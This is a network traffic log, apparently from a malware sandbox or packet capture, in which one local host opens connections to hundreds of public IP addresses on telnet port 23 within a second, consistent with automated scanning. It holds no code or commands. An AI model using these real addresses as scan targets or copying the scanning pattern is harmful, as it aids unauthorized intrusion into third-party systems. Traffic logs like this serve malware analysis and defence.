Jan 5, 2025 14:26:52.115036011 CET	59666	51156	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:52.623826027 CET	49318	23	192.168.2.13	144.208.77.183
Jan 5, 2025 14:26:52.623826027 CET	35222	23	192.168.2.13	126.122.25.59
Jan 5, 2025 14:26:52.623826027 CET	60554	23	192.168.2.13	57.87.60.192
Jan 5, 2025 14:26:52.623826027 CET	48202	23	192.168.2.13	62.204.53.104
Jan 5, 2025 14:26:52.623826027 CET	38476	23	192.168.2.13	185.144.244.25
Jan 5, 2025 14:26:52.623831034 CET	36172	23	192.168.2.13	143.5.144.46
Jan 5, 2025 14:26:52.623831034 CET	47702	23	192.168.2.13	73.90.13.63
Jan 5, 2025 14:26:52.623833895 CET	52242	23	192.168.2.13	192.88.16.170
Jan 5, 2025 14:26:52.623835087 CET	57660	23	192.168.2.13	37.64.134.63
Jan 5, 2025 14:26:52.623833895 CET	41530	23	192.168.2.13	173.74.147.115
Jan 5, 2025 14:26:52.623835087 CET	41214	23	192.168.2.13	106.152.185.208
Jan 5, 2025 14:26:52.623836994 CET	36832	23	192.168.2.13	92.229.23.10
Jan 5, 2025 14:26:52.623836994 CET	49214	23	192.168.2.13	174.125.8.174
Jan 5, 2025 14:26:52.623836994 CET	48798	23	192.168.2.13	137.203.156.97
Jan 5, 2025 14:26:52.623836994 CET	51306	23	192.168.2.13	18.142.171.92
Jan 5, 2025 14:26:52.623836994 CET	38196	23	192.168.2.13	121.194.104.226
Jan 5, 2025 14:26:52.623836994 CET	48328	23	192.168.2.13	68.239.10.208
Jan 5, 2025 14:26:52.623836994 CET	47834	23	192.168.2.13	165.48.177.188
Jan 5, 2025 14:26:52.623833895 CET	52362	23	192.168.2.13	198.52.146.165
Jan 5, 2025 14:26:52.623836994 CET	33394	23	192.168.2.13	101.72.186.143
Jan 5, 2025 14:26:52.623835087 CET	33036	23	192.168.2.13	130.4.212.38
Jan 5, 2025 14:26:52.623836994 CET	35530	23	192.168.2.13	81.141.49.95
Jan 5, 2025 14:26:52.623835087 CET	49172	23	192.168.2.13	171.249.220.193
Jan 5, 2025 14:26:52.623836994 CET	35468	23	192.168.2.13	35.44.156.252
Jan 5, 2025 14:26:52.623836994 CET	46692	23	192.168.2.13	218.255.160.172
Jan 5, 2025 14:26:52.623836994 CET	33182	23	192.168.2.13	189.110.96.5
Jan 5, 2025 14:26:52.623836994 CET	37850	23	192.168.2.13	82.1.190.6
Jan 5, 2025 14:26:52.623874903 CET	50480	23	192.168.2.13	12.74.26.216
Jan 5, 2025 14:26:52.623874903 CET	59292	23	192.168.2.13	134.131.46.107
Jan 5, 2025 14:26:52.623888016 CET	51950	23	192.168.2.13	106.0.239.219
Jan 5, 2025 14:26:52.623888016 CET	33200	23	192.168.2.13	177.142.33.22
Jan 5, 2025 14:26:52.623888016 CET	49686	23	192.168.2.13	170.137.192.196
Jan 5, 2025 14:26:52.623888016 CET	51872	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:52.623888016 CET	37570	23	192.168.2.13	27.7.219.11
Jan 5, 2025 14:26:52.623888016 CET	33700	23	192.168.2.13	91.181.157.107
Jan 5, 2025 14:26:52.623900890 CET	39868	23	192.168.2.13	57.176.238.223
Jan 5, 2025 14:26:52.623900890 CET	46436	23	192.168.2.13	40.187.155.252
Jan 5, 2025 14:26:52.623900890 CET	49154	23	192.168.2.13	172.78.203.242
Jan 5, 2025 14:26:52.623900890 CET	51918	23	192.168.2.13	114.248.116.37
Jan 5, 2025 14:26:52.623900890 CET	46414	23	192.168.2.13	40.87.116.21
Jan 5, 2025 14:26:52.623908043 CET	52538	23	192.168.2.13	184.207.93.58
Jan 5, 2025 14:26:52.623908043 CET	57282	23	192.168.2.13	72.171.16.106
Jan 5, 2025 14:26:52.623934984 CET	58440	23	192.168.2.13	120.162.210.222
Jan 5, 2025 14:26:52.623949051 CET	50912	23	192.168.2.13	192.109.44.215
Jan 5, 2025 14:26:52.623960972 CET	50714	23	192.168.2.13	20.64.35.248
Jan 5, 2025 14:26:52.625788927 CET	57214	23	192.168.2.13	86.181.127.169
Jan 5, 2025 14:26:52.625796080 CET	57214	23	192.168.2.13	51.25.151.97
Jan 5, 2025 14:26:52.625799894 CET	57214	23	192.168.2.13	162.249.119.15
Jan 5, 2025 14:26:52.625812054 CET	57214	23	192.168.2.13	219.92.154.232
Jan 5, 2025 14:26:52.625816107 CET	57214	23	192.168.2.13	122.33.70.82
Jan 5, 2025 14:26:52.625824928 CET	57214	23	192.168.2.13	103.81.157.93
Jan 5, 2025 14:26:52.625834942 CET	57214	23	192.168.2.13	38.28.198.42
Jan 5, 2025 14:26:52.625838041 CET	57214	23	192.168.2.13	158.106.125.139
Jan 5, 2025 14:26:52.625844002 CET	57214	23	192.168.2.13	24.185.164.56
Jan 5, 2025 14:26:52.625854969 CET	57214	23	192.168.2.13	190.93.234.135
Jan 5, 2025 14:26:52.625863075 CET	57214	23	192.168.2.13	45.232.50.40
Jan 5, 2025 14:26:52.625876904 CET	57214	23	192.168.2.13	156.74.17.120
Jan 5, 2025 14:26:52.625876904 CET	57214	23	192.168.2.13	84.5.61.253
Jan 5, 2025 14:26:52.625878096 CET	57214	23	192.168.2.13	191.177.246.238
Jan 5, 2025 14:26:52.625878096 CET	57214	23	192.168.2.13	168.111.153.174
Jan 5, 2025 14:26:52.625878096 CET	57214	23	192.168.2.13	170.236.190.234
Jan 5, 2025 14:26:52.625879049 CET	57214	23	192.168.2.13	110.7.97.167
Jan 5, 2025 14:26:52.625888109 CET	57214	23	192.168.2.13	20.9.73.150
Jan 5, 2025 14:26:52.625896931 CET	57214	23	192.168.2.13	51.198.219.190
Jan 5, 2025 14:26:52.625900030 CET	57214	23	192.168.2.13	72.35.121.184
Jan 5, 2025 14:26:52.625910997 CET	57214	23	192.168.2.13	31.167.227.190
Jan 5, 2025 14:26:52.625910997 CET	57214	23	192.168.2.13	132.25.58.157
Jan 5, 2025 14:26:52.625911951 CET	57214	23	192.168.2.13	168.124.7.124
Jan 5, 2025 14:26:52.625932932 CET	57214	23	192.168.2.13	143.18.85.189
Jan 5, 2025 14:26:52.625933886 CET	57214	23	192.168.2.13	75.178.4.46
Jan 5, 2025 14:26:52.625935078 CET	57214	23	192.168.2.13	123.32.22.53
Jan 5, 2025 14:26:52.625940084 CET	57214	23	192.168.2.13	165.245.4.212
Jan 5, 2025 14:26:52.625942945 CET	57214	23	192.168.2.13	116.204.26.101
Jan 5, 2025 14:26:52.625942945 CET	57214	23	192.168.2.13	178.158.93.133
Jan 5, 2025 14:26:52.625946999 CET	57214	23	192.168.2.13	84.28.185.21
Jan 5, 2025 14:26:52.625962973 CET	57214	23	192.168.2.13	87.71.82.146
Jan 5, 2025 14:26:52.625963926 CET	57214	23	192.168.2.13	120.233.190.246
Jan 5, 2025 14:26:52.625976086 CET	57214	23	192.168.2.13	12.26.214.153
Jan 5, 2025 14:26:52.625978947 CET	57214	23	192.168.2.13	46.143.202.115
Jan 5, 2025 14:26:52.625991106 CET	57214	23	192.168.2.13	220.119.227.212
Jan 5, 2025 14:26:52.625991106 CET	57214	23	192.168.2.13	125.157.98.194
Jan 5, 2025 14:26:52.625992060 CET	57214	23	192.168.2.13	23.164.1.144
Jan 5, 2025 14:26:52.625992060 CET	57214	23	192.168.2.13	124.38.54.30
Jan 5, 2025 14:26:52.625999928 CET	57214	23	192.168.2.13	19.153.162.71
Jan 5, 2025 14:26:52.626000881 CET	57214	23	192.168.2.13	171.203.196.98
Jan 5, 2025 14:26:52.626015902 CET	57214	23	192.168.2.13	189.97.154.75
Jan 5, 2025 14:26:52.626015902 CET	57214	23	192.168.2.13	23.47.82.211
Jan 5, 2025 14:26:52.626019955 CET	57214	23	192.168.2.13	98.25.79.134
Jan 5, 2025 14:26:52.626023054 CET	57214	23	192.168.2.13	32.79.248.42
Jan 5, 2025 14:26:52.626023054 CET	57214	23	192.168.2.13	72.12.227.102
Jan 5, 2025 14:26:52.626033068 CET	57214	23	192.168.2.13	107.41.205.25
Jan 5, 2025 14:26:52.626038074 CET	57214	23	192.168.2.13	79.172.105.185
Jan 5, 2025 14:26:52.626039982 CET	57214	23	192.168.2.13	82.75.102.170
Jan 5, 2025 14:26:52.626048088 CET	57214	23	192.168.2.13	72.163.56.245
Jan 5, 2025 14:26:52.626049995 CET	57214	23	192.168.2.13	77.121.132.112
Jan 5, 2025 14:26:52.626056910 CET	57214	23	192.168.2.13	152.125.16.155
Jan 5, 2025 14:26:52.626063108 CET	57214	23	192.168.2.13	201.61.141.212
Jan 5, 2025 14:26:52.626069069 CET	57214	23	192.168.2.13	166.69.189.57
Jan 5, 2025 14:26:52.626085043 CET	57214	23	192.168.2.13	183.26.100.128
Jan 5, 2025 14:26:52.626085997 CET	57214	23	192.168.2.13	89.252.137.247
Jan 5, 2025 14:26:52.626086950 CET	57214	23	192.168.2.13	186.254.146.186
Jan 5, 2025 14:26:52.626094103 CET	57214	23	192.168.2.13	32.68.65.59
Jan 5, 2025 14:26:52.626106024 CET	57214	23	192.168.2.13	80.214.111.224
Jan 5, 2025 14:26:52.626106977 CET	57214	23	192.168.2.13	195.165.68.88
Jan 5, 2025 14:26:52.626106977 CET	57214	23	192.168.2.13	1.180.173.104
Jan 5, 2025 14:26:52.626104116 CET	57214	23	192.168.2.13	79.116.137.93
Jan 5, 2025 14:26:52.626120090 CET	57214	23	192.168.2.13	194.121.188.156
Jan 5, 2025 14:26:52.626121044 CET	57214	23	192.168.2.13	151.163.27.151
Jan 5, 2025 14:26:52.626122952 CET	57214	23	192.168.2.13	150.215.41.233
Jan 5, 2025 14:26:52.626143932 CET	57214	23	192.168.2.13	96.26.254.120
Jan 5, 2025 14:26:52.626143932 CET	57214	23	192.168.2.13	105.131.146.253
Jan 5, 2025 14:26:52.626144886 CET	57214	23	192.168.2.13	24.69.232.69
Jan 5, 2025 14:26:52.626147985 CET	57214	23	192.168.2.13	192.151.243.128
Jan 5, 2025 14:26:52.626154900 CET	57214	23	192.168.2.13	221.233.199.206
Jan 5, 2025 14:26:52.626154900 CET	57214	23	192.168.2.13	114.185.115.16
Jan 5, 2025 14:26:52.626157045 CET	57214	23	192.168.2.13	134.112.175.84
Jan 5, 2025 14:26:52.626164913 CET	57214	23	192.168.2.13	86.251.61.146
Jan 5, 2025 14:26:52.626171112 CET	57214	23	192.168.2.13	189.189.215.128
Jan 5, 2025 14:26:52.626173019 CET	57214	23	192.168.2.13	212.23.65.63
Jan 5, 2025 14:26:52.626178026 CET	57214	23	192.168.2.13	218.73.14.219
Jan 5, 2025 14:26:52.626178026 CET	57214	23	192.168.2.13	1.94.157.213
Jan 5, 2025 14:26:52.626189947 CET	57214	23	192.168.2.13	38.7.171.59
Jan 5, 2025 14:26:52.626195908 CET	57214	23	192.168.2.13	35.6.52.188
Jan 5, 2025 14:26:52.626208067 CET	57214	23	192.168.2.13	206.105.250.120
Jan 5, 2025 14:26:52.626209021 CET	57214	23	192.168.2.13	59.177.237.224
Jan 5, 2025 14:26:52.626214981 CET	57214	23	192.168.2.13	82.30.33.233
Jan 5, 2025 14:26:52.626229048 CET	57214	23	192.168.2.13	78.148.148.159
Jan 5, 2025 14:26:52.626235962 CET	57214	23	192.168.2.13	156.242.54.207
Jan 5, 2025 14:26:52.626235962 CET	57214	23	192.168.2.13	210.205.121.208
Jan 5, 2025 14:26:52.626238108 CET	57214	23	192.168.2.13	32.160.173.209
Jan 5, 2025 14:26:52.626241922 CET	57214	23	192.168.2.13	134.19.28.97
Jan 5, 2025 14:26:52.626241922 CET	57214	23	192.168.2.13	143.63.56.157
Jan 5, 2025 14:26:52.626243114 CET	57214	23	192.168.2.13	91.246.201.111
Jan 5, 2025 14:26:52.626243114 CET	57214	23	192.168.2.13	20.13.110.51
Jan 5, 2025 14:26:52.626245022 CET	57214	23	192.168.2.13	201.179.33.88
Jan 5, 2025 14:26:52.626245975 CET	57214	23	192.168.2.13	220.17.110.244
Jan 5, 2025 14:26:52.626246929 CET	57214	23	192.168.2.13	120.4.33.103
Jan 5, 2025 14:26:52.626246929 CET	57214	23	192.168.2.13	75.220.193.228
Jan 5, 2025 14:26:52.626249075 CET	57214	23	192.168.2.13	137.62.16.233
Jan 5, 2025 14:26:52.626251936 CET	57214	23	192.168.2.13	223.46.96.10
Jan 5, 2025 14:26:52.626252890 CET	57214	23	192.168.2.13	201.47.127.168
Jan 5, 2025 14:26:52.626254082 CET	57214	23	192.168.2.13	8.244.5.134
Jan 5, 2025 14:26:52.626261950 CET	57214	23	192.168.2.13	153.122.211.97
Jan 5, 2025 14:26:52.626274109 CET	57214	23	192.168.2.13	204.191.146.218
Jan 5, 2025 14:26:52.626276970 CET	57214	23	192.168.2.13	190.218.70.249
Jan 5, 2025 14:26:52.626280069 CET	57214	23	192.168.2.13	52.31.216.75
Jan 5, 2025 14:26:52.626288891 CET	57214	23	192.168.2.13	110.142.62.152
Jan 5, 2025 14:26:52.626295090 CET	57214	23	192.168.2.13	194.184.106.142
Jan 5, 2025 14:26:52.626310110 CET	57214	23	192.168.2.13	25.183.248.81
Jan 5, 2025 14:26:52.626312017 CET	57214	23	192.168.2.13	187.89.3.123
Jan 5, 2025 14:26:52.626322985 CET	57214	23	192.168.2.13	218.43.226.26
Jan 5, 2025 14:26:52.626323938 CET	57214	23	192.168.2.13	201.239.117.121
Jan 5, 2025 14:26:52.626328945 CET	57214	23	192.168.2.13	71.244.52.87
Jan 5, 2025 14:26:52.626333952 CET	57214	23	192.168.2.13	131.103.225.76
Jan 5, 2025 14:26:52.626347065 CET	57214	23	192.168.2.13	92.54.72.221
Jan 5, 2025 14:26:52.626353025 CET	57214	23	192.168.2.13	166.158.246.79
Jan 5, 2025 14:26:52.626357079 CET	57214	23	192.168.2.13	115.171.208.69
Jan 5, 2025 14:26:52.626358986 CET	57214	23	192.168.2.13	71.52.76.230
Jan 5, 2025 14:26:52.626358986 CET	57214	23	192.168.2.13	96.37.171.141
Jan 5, 2025 14:26:52.626375914 CET	57214	23	192.168.2.13	182.126.4.27
Jan 5, 2025 14:26:52.626379013 CET	57214	23	192.168.2.13	75.1.110.232
Jan 5, 2025 14:26:52.626379013 CET	57214	23	192.168.2.13	159.226.126.214
Jan 5, 2025 14:26:52.626383066 CET	57214	23	192.168.2.13	141.183.225.140
Jan 5, 2025 14:26:52.626386881 CET	57214	23	192.168.2.13	99.29.212.123
Jan 5, 2025 14:26:52.626404047 CET	57214	23	192.168.2.13	187.39.111.184
Jan 5, 2025 14:26:52.626404047 CET	57214	23	192.168.2.13	19.172.111.201
Jan 5, 2025 14:26:52.626420975 CET	57214	23	192.168.2.13	82.234.253.172
Jan 5, 2025 14:26:52.626421928 CET	57214	23	192.168.2.13	41.70.34.86
Jan 5, 2025 14:26:52.626421928 CET	57214	23	192.168.2.13	204.57.234.10
Jan 5, 2025 14:26:52.626429081 CET	57214	23	192.168.2.13	8.59.7.103
Jan 5, 2025 14:26:52.626435041 CET	57214	23	192.168.2.13	86.164.46.66
Jan 5, 2025 14:26:52.626446009 CET	57214	23	192.168.2.13	121.169.30.137
Jan 5, 2025 14:26:52.626449108 CET	57214	23	192.168.2.13	54.92.79.190
Jan 5, 2025 14:26:52.626452923 CET	57214	23	192.168.2.13	213.46.13.150
Jan 5, 2025 14:26:52.626466036 CET	57214	23	192.168.2.13	130.68.98.222
Jan 5, 2025 14:26:52.626470089 CET	57214	23	192.168.2.13	184.118.56.50
Jan 5, 2025 14:26:52.626477003 CET	57214	23	192.168.2.13	110.217.199.138
Jan 5, 2025 14:26:52.626483917 CET	57214	23	192.168.2.13	24.209.130.186
Jan 5, 2025 14:26:52.626490116 CET	57214	23	192.168.2.13	223.22.70.171
Jan 5, 2025 14:26:52.626503944 CET	57214	23	192.168.2.13	75.146.14.178
Jan 5, 2025 14:26:52.626507998 CET	57214	23	192.168.2.13	81.170.158.244
Jan 5, 2025 14:26:52.626509905 CET	57214	23	192.168.2.13	218.191.84.171
Jan 5, 2025 14:26:52.626528025 CET	57214	23	192.168.2.13	95.129.0.191
Jan 5, 2025 14:26:52.626528978 CET	57214	23	192.168.2.13	159.98.122.209
Jan 5, 2025 14:26:52.626530886 CET	57214	23	192.168.2.13	108.204.71.57
Jan 5, 2025 14:26:52.626530886 CET	57214	23	192.168.2.13	144.226.180.131
Jan 5, 2025 14:26:52.626533031 CET	57214	23	192.168.2.13	84.126.83.60
Jan 5, 2025 14:26:52.626533031 CET	57214	23	192.168.2.13	82.0.137.101
Jan 5, 2025 14:26:52.626533031 CET	57214	23	192.168.2.13	5.43.181.253
Jan 5, 2025 14:26:52.626549959 CET	57214	23	192.168.2.13	57.62.228.4
Jan 5, 2025 14:26:52.626554012 CET	57214	23	192.168.2.13	173.37.16.243
Jan 5, 2025 14:26:52.626555920 CET	57214	23	192.168.2.13	144.0.1.159
Jan 5, 2025 14:26:52.626574993 CET	57214	23	192.168.2.13	138.26.211.202
Jan 5, 2025 14:26:52.626576900 CET	57214	23	192.168.2.13	34.89.137.104
Jan 5, 2025 14:26:52.626576900 CET	57214	23	192.168.2.13	95.89.149.201
Jan 5, 2025 14:26:52.626580000 CET	57214	23	192.168.2.13	54.221.236.192
Jan 5, 2025 14:26:52.626595020 CET	57214	23	192.168.2.13	8.236.77.10
Jan 5, 2025 14:26:52.626596928 CET	57214	23	192.168.2.13	136.232.220.18
Jan 5, 2025 14:26:52.626596928 CET	57214	23	192.168.2.13	166.121.238.51
Jan 5, 2025 14:26:52.626599073 CET	57214	23	192.168.2.13	166.169.28.242
Jan 5, 2025 14:26:52.626599073 CET	57214	23	192.168.2.13	157.152.147.142
Jan 5, 2025 14:26:52.626600027 CET	57214	23	192.168.2.13	72.3.235.128
Jan 5, 2025 14:26:52.626601934 CET	57214	23	192.168.2.13	1.131.99.51
Jan 5, 2025 14:26:52.626601934 CET	57214	23	192.168.2.13	74.205.175.8
Jan 5, 2025 14:26:52.626607895 CET	57214	23	192.168.2.13	120.224.102.28
Jan 5, 2025 14:26:52.626612902 CET	57214	23	192.168.2.13	116.134.201.71
Jan 5, 2025 14:26:52.626626015 CET	57214	23	192.168.2.13	96.105.145.25
Jan 5, 2025 14:26:52.626629114 CET	57214	23	192.168.2.13	51.188.58.171
Jan 5, 2025 14:26:52.626631975 CET	57214	23	192.168.2.13	65.188.236.144
Jan 5, 2025 14:26:52.626636028 CET	57214	23	192.168.2.13	42.48.223.112
Jan 5, 2025 14:26:52.626637936 CET	57214	23	192.168.2.13	76.177.121.70
Jan 5, 2025 14:26:52.626655102 CET	57214	23	192.168.2.13	166.255.156.145
Jan 5, 2025 14:26:52.626655102 CET	57214	23	192.168.2.13	222.240.43.185
Jan 5, 2025 14:26:52.626655102 CET	57214	23	192.168.2.13	123.224.38.137
Jan 5, 2025 14:26:52.626662970 CET	57214	23	192.168.2.13	187.55.50.195
Jan 5, 2025 14:26:52.626662970 CET	57214	23	192.168.2.13	68.107.98.8
Jan 5, 2025 14:26:52.626671076 CET	57214	23	192.168.2.13	59.30.91.206
Jan 5, 2025 14:26:52.626684904 CET	57214	23	192.168.2.13	87.123.230.21
Jan 5, 2025 14:26:52.626698971 CET	57214	23	192.168.2.13	8.149.210.191
Jan 5, 2025 14:26:52.626698971 CET	57214	23	192.168.2.13	38.239.67.122
Jan 5, 2025 14:26:52.626703978 CET	57214	23	192.168.2.13	24.65.144.74
Jan 5, 2025 14:26:52.626727104 CET	57214	23	192.168.2.13	170.234.203.156
Jan 5, 2025 14:26:52.626729012 CET	57214	23	192.168.2.13	200.192.153.212
Jan 5, 2025 14:26:52.626732111 CET	57214	23	192.168.2.13	128.189.189.58
Jan 5, 2025 14:26:52.626734018 CET	57214	23	192.168.2.13	188.115.13.205
Jan 5, 2025 14:26:52.626734018 CET	57214	23	192.168.2.13	45.83.96.255
Jan 5, 2025 14:26:52.626745939 CET	57214	23	192.168.2.13	143.196.57.213
Jan 5, 2025 14:26:52.626758099 CET	57214	23	192.168.2.13	72.111.90.56
Jan 5, 2025 14:26:52.626758099 CET	57214	23	192.168.2.13	39.138.128.122
Jan 5, 2025 14:26:52.626777887 CET	57214	23	192.168.2.13	94.80.237.168
Jan 5, 2025 14:26:52.626779079 CET	57214	23	192.168.2.13	40.108.22.27
Jan 5, 2025 14:26:52.626782894 CET	57214	23	192.168.2.13	147.204.51.118
Jan 5, 2025 14:26:52.626782894 CET	57214	23	192.168.2.13	137.102.241.154
Jan 5, 2025 14:26:52.626785994 CET	57214	23	192.168.2.13	72.117.144.19
Jan 5, 2025 14:26:52.626786947 CET	57214	23	192.168.2.13	96.110.146.216
Jan 5, 2025 14:26:52.626794100 CET	57214	23	192.168.2.13	148.201.199.107
Jan 5, 2025 14:26:52.626797915 CET	57214	23	192.168.2.13	69.103.4.123
Jan 5, 2025 14:26:52.626811028 CET	57214	23	192.168.2.13	147.15.233.100
Jan 5, 2025 14:26:52.626811981 CET	57214	23	192.168.2.13	166.255.188.210
Jan 5, 2025 14:26:52.626825094 CET	57214	23	192.168.2.13	169.61.248.255
Jan 5, 2025 14:26:52.626826048 CET	57214	23	192.168.2.13	157.42.230.112
Jan 5, 2025 14:26:52.626844883 CET	57214	23	192.168.2.13	43.19.85.180
Jan 5, 2025 14:26:52.626846075 CET	57214	23	192.168.2.13	49.165.226.24
Jan 5, 2025 14:26:52.626847029 CET	57214	23	192.168.2.13	165.87.64.110
Jan 5, 2025 14:26:52.626847029 CET	57214	23	192.168.2.13	83.160.74.6
Jan 5, 2025 14:26:52.626863003 CET	57214	23	192.168.2.13	208.98.158.233
Jan 5, 2025 14:26:52.626868963 CET	57214	23	192.168.2.13	185.85.160.241
Jan 5, 2025 14:26:52.626863003 CET	57214	23	192.168.2.13	8.78.146.15
Jan 5, 2025 14:26:52.626868963 CET	57214	23	192.168.2.13	13.53.19.0
Jan 5, 2025 14:26:52.626883030 CET	57214	23	192.168.2.13	165.51.21.28
Jan 5, 2025 14:26:52.626885891 CET	57214	23	192.168.2.13	188.44.91.130
Jan 5, 2025 14:26:52.626899004 CET	57214	23	192.168.2.13	188.67.217.12
Jan 5, 2025 14:26:52.626904011 CET	57214	23	192.168.2.13	96.54.209.46
Jan 5, 2025 14:26:52.626907110 CET	57214	23	192.168.2.13	146.170.205.234
Jan 5, 2025 14:26:52.626924038 CET	57214	23	192.168.2.13	141.55.166.143
Jan 5, 2025 14:26:52.626924038 CET	57214	23	192.168.2.13	69.11.231.204
Jan 5, 2025 14:26:52.626924038 CET	57214	23	192.168.2.13	43.106.99.50
Jan 5, 2025 14:26:52.626929045 CET	57214	23	192.168.2.13	111.116.51.10
Jan 5, 2025 14:26:52.626940012 CET	57214	23	192.168.2.13	206.232.85.46
Jan 5, 2025 14:26:52.626945019 CET	57214	23	192.168.2.13	105.132.247.178
Jan 5, 2025 14:26:52.626948118 CET	57214	23	192.168.2.13	172.217.228.66
Jan 5, 2025 14:26:52.626950979 CET	57214	23	192.168.2.13	108.68.36.223
Jan 5, 2025 14:26:52.626954079 CET	57214	23	192.168.2.13	153.193.244.156
Jan 5, 2025 14:26:52.626961946 CET	57214	23	192.168.2.13	216.151.234.137
Jan 5, 2025 14:26:52.626966000 CET	57214	23	192.168.2.13	139.204.111.173
Jan 5, 2025 14:26:52.626976967 CET	57214	23	192.168.2.13	27.115.71.165
Jan 5, 2025 14:26:52.626983881 CET	57214	23	192.168.2.13	173.145.227.21
Jan 5, 2025 14:26:52.626987934 CET	57214	23	192.168.2.13	181.93.140.128
Jan 5, 2025 14:26:52.626991987 CET	57214	23	192.168.2.13	126.233.147.128
Jan 5, 2025 14:26:52.626991987 CET	57214	23	192.168.2.13	176.96.121.131
Jan 5, 2025 14:26:52.626996040 CET	57214	23	192.168.2.13	123.136.140.84
Jan 5, 2025 14:26:52.627000093 CET	57214	23	192.168.2.13	104.5.242.125
Jan 5, 2025 14:26:52.627007961 CET	57214	23	192.168.2.13	107.236.176.208
Jan 5, 2025 14:26:52.627012014 CET	57214	23	192.168.2.13	114.214.249.185
Jan 5, 2025 14:26:52.627021074 CET	57214	23	192.168.2.13	133.176.147.28
Jan 5, 2025 14:26:52.627021074 CET	57214	23	192.168.2.13	217.0.91.85
Jan 5, 2025 14:26:52.627021074 CET	57214	23	192.168.2.13	101.80.95.104
Jan 5, 2025 14:26:52.627027035 CET	57214	23	192.168.2.13	123.65.26.135
Jan 5, 2025 14:26:52.627027988 CET	57214	23	192.168.2.13	32.195.45.108
Jan 5, 2025 14:26:52.627029896 CET	57214	23	192.168.2.13	213.26.248.201
Jan 5, 2025 14:26:52.627044916 CET	57214	23	192.168.2.13	161.121.152.204
Jan 5, 2025 14:26:52.627049923 CET	57214	23	192.168.2.13	159.18.111.121
Jan 5, 2025 14:26:52.627058029 CET	57214	23	192.168.2.13	54.221.201.211
Jan 5, 2025 14:26:52.627060890 CET	57214	23	192.168.2.13	24.193.89.152
Jan 5, 2025 14:26:52.627062082 CET	57214	23	192.168.2.13	103.237.198.189
Jan 5, 2025 14:26:52.627075911 CET	57214	23	192.168.2.13	100.14.76.96
Jan 5, 2025 14:26:52.627079964 CET	57214	23	192.168.2.13	80.29.118.26
Jan 5, 2025 14:26:52.627080917 CET	57214	23	192.168.2.13	41.8.107.23
Jan 5, 2025 14:26:52.627080917 CET	57214	23	192.168.2.13	179.98.182.123
Jan 5, 2025 14:26:52.627094030 CET	57214	23	192.168.2.13	76.203.41.97
Jan 5, 2025 14:26:52.627101898 CET	57214	23	192.168.2.13	186.197.31.153
Jan 5, 2025 14:26:52.627118111 CET	57214	23	192.168.2.13	196.216.189.14
Jan 5, 2025 14:26:52.627120018 CET	57214	23	192.168.2.13	184.116.226.255
Jan 5, 2025 14:26:52.627120018 CET	57214	23	192.168.2.13	187.62.1.111
Jan 5, 2025 14:26:52.627120018 CET	57214	23	192.168.2.13	17.187.99.253
Jan 5, 2025 14:26:52.627120018 CET	57214	23	192.168.2.13	179.68.212.180
Jan 5, 2025 14:26:52.627139091 CET	57214	23	192.168.2.13	43.56.105.40
Jan 5, 2025 14:26:52.627142906 CET	57214	23	192.168.2.13	134.123.28.78
Jan 5, 2025 14:26:52.627146006 CET	57214	23	192.168.2.13	83.137.246.114
Jan 5, 2025 14:26:52.627157927 CET	57214	23	192.168.2.13	81.197.92.134
Jan 5, 2025 14:26:52.627165079 CET	57214	23	192.168.2.13	201.163.94.79
Jan 5, 2025 14:26:52.627166033 CET	57214	23	192.168.2.13	130.116.215.169
Jan 5, 2025 14:26:52.627166033 CET	57214	23	192.168.2.13	212.246.39.198
Jan 5, 2025 14:26:52.627178907 CET	57214	23	192.168.2.13	35.228.4.212
Jan 5, 2025 14:26:52.627187967 CET	57214	23	192.168.2.13	1.232.105.236
Jan 5, 2025 14:26:52.627197027 CET	57214	23	192.168.2.13	46.4.75.78
Jan 5, 2025 14:26:52.627197027 CET	57214	23	192.168.2.13	153.75.34.3
Jan 5, 2025 14:26:52.627198935 CET	57214	23	192.168.2.13	195.223.208.42
Jan 5, 2025 14:26:52.627221107 CET	57214	23	192.168.2.13	129.115.48.195
Jan 5, 2025 14:26:52.627222061 CET	57214	23	192.168.2.13	106.185.202.134
Jan 5, 2025 14:26:52.627223015 CET	57214	23	192.168.2.13	25.64.108.142
Jan 5, 2025 14:26:52.627223015 CET	57214	23	192.168.2.13	120.39.73.128
Jan 5, 2025 14:26:52.627227068 CET	57214	23	192.168.2.13	44.246.237.202
Jan 5, 2025 14:26:52.627227068 CET	57214	23	192.168.2.13	104.231.235.49
Jan 5, 2025 14:26:52.627229929 CET	57214	23	192.168.2.13	8.211.87.249
Jan 5, 2025 14:26:52.627230883 CET	57214	23	192.168.2.13	223.236.86.236
Jan 5, 2025 14:26:52.627232075 CET	57214	23	192.168.2.13	47.145.131.121
Jan 5, 2025 14:26:52.627235889 CET	57214	23	192.168.2.13	59.221.24.18
Jan 5, 2025 14:26:52.627235889 CET	57214	23	192.168.2.13	108.191.189.27
Jan 5, 2025 14:26:52.627247095 CET	57214	23	192.168.2.13	165.205.128.210
Jan 5, 2025 14:26:52.627254009 CET	57214	23	192.168.2.13	63.89.178.115
Jan 5, 2025 14:26:52.627268076 CET	57214	23	192.168.2.13	34.236.219.48
Jan 5, 2025 14:26:52.627269030 CET	57214	23	192.168.2.13	141.215.75.75
Jan 5, 2025 14:26:52.627273083 CET	57214	23	192.168.2.13	106.216.42.146
Jan 5, 2025 14:26:52.627273083 CET	57214	23	192.168.2.13	64.60.224.92
Jan 5, 2025 14:26:52.627274036 CET	57214	23	192.168.2.13	212.213.12.21
Jan 5, 2025 14:26:52.627274036 CET	57214	23	192.168.2.13	170.46.118.161
Jan 5, 2025 14:26:52.627276897 CET	57214	23	192.168.2.13	17.93.152.18
Jan 5, 2025 14:26:52.627276897 CET	57214	23	192.168.2.13	211.73.8.243
Jan 5, 2025 14:26:52.627279997 CET	57214	23	192.168.2.13	144.108.106.154
Jan 5, 2025 14:26:52.627300978 CET	57214	23	192.168.2.13	178.172.255.17
Jan 5, 2025 14:26:52.627300978 CET	57214	23	192.168.2.13	207.248.164.84
Jan 5, 2025 14:26:52.627300978 CET	57214	23	192.168.2.13	107.1.107.122
Jan 5, 2025 14:26:52.627302885 CET	57214	23	192.168.2.13	153.125.195.23
Jan 5, 2025 14:26:52.627305031 CET	57214	23	192.168.2.13	17.150.19.197
Jan 5, 2025 14:26:52.627305984 CET	57214	23	192.168.2.13	143.241.239.27
Jan 5, 2025 14:26:52.627321959 CET	57214	23	192.168.2.13	107.22.152.158
Jan 5, 2025 14:26:52.627326965 CET	57214	23	192.168.2.13	82.13.175.81
Jan 5, 2025 14:26:52.627326965 CET	57214	23	192.168.2.13	48.7.69.213
